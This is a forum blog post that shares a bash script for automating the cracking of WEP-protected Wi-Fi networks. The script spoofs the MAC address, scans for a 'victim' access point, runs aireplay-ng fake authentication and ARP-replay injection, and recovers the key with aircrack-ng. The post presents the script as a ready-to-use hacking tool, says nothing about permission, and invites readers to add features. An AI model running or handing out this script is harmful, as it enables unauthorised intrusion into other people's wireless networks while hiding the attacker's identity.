View RSS Feed

Blog of AlphaCentauri

Automating WEP hack - Shell Script

Rate this Entry
Hi Folks,

Please find below a script written to automate wep hacking -

Some Instructions :

1.use first option to spoof your mac

2.use second option to check the number of APs in your surrounding and to choose your victim wep AP ( note its mac address & channel ).

3. third option to Hack

4. fourth option to exit


Please note :

a.this script will automatically prompt and help download aircrack-ng & xterm apps for your linux system

b. this is tested with atheros cards with ath5k & ath9k drivers.

c. copy this code into a text editor and save it with a .sh extension in your home folder. Run sudo chmod +x <scriptname.sh> at prompt to make the script executable

It would be great to have you members develop on this code and bring in more features.


-----------------------------------------------------------------------------------------------------------------

#!/bin/bash

clear

MAC=00:11:22:33:44:55

INTERFACE=wlan0

INTERFACE2=mon0

FILE=wep

choice=5

echo "Please choose your hack"
echo "1. Start Mac spoof"
echo "2. Start Dump"
echo "3. Start Hack"
echo "4. Exit"
echo -n "Choose now! [1-4]"


while [ $choice -eq 5 ]; do
read choice

if [ $choice -eq 1 ] ; then

echo "Spoofing mac"

sudo airmon-ng stop $INTERFACE

sudo ifconfig $INTERFACE down

sudo apt-get install macchanger

sudo macchanger --mac $MAC $INTERFACE

sudo airmon-ng start $INTERFACE

else

if [ $choice -eq 2 ] ; then

echo "Starting Dump"
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor

sudo apt-get install xterm
sudo xterm -hold -e airodump-ng wlan0

sleep 25
exit 0
else

if [ $choice -eq 3 ] ; then
echo "Running Hack"

sudo apt-get install aircrack-ng
sudo apt-get install xterm

sudo chmod 755 /~
sudo rm wep*.*
sudo rm replay*.*


echo Enter the BSSID (MAC address of Victim):
read BSSID

echo Enter the CHANNEL:
read CH
clear

sleep 1

sudo ifconfig wlan0 down
sudo airmon-ng stop mon0
sudo airmon-ng stop mon1
sudo airmon-ng start wlan0


xterm -e sudo airodump-ng -c $CH -w $FILE --bssid $BSSID $INTERFACE2 &

sleep 10

sudo aireplay-ng -1 0 -a $BSSID $INTERFACE2

sleep 5

xterm -e sudo aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -a $BSSID $INTERFACE2
sleep 3

xterm -hold -e sudo aircrack-ng -b $BSSID $FILE*.cap
else

if [ $choice -eq 4 ] ; then
echo "Now Exiting"
else
echo "Please choose your hack"
echo "1. Start Mac spoof"
echo "2. Start Dump"
echo "3. Start Hack"
echo "4. Exit"
echo -n "Choose now! [1-3]"
choice=5
fi
fi
fi
fi
done
exit 0

--------------------------------------------------------------------------------------------------------------------
Tags: script, wep hack Add / Edit Tags
Categories
Uncategorized

Comments

  1. AnArKI's Avatar
    gud one TFS

Trackbacks

Total Trackbacks 0
Trackback URL: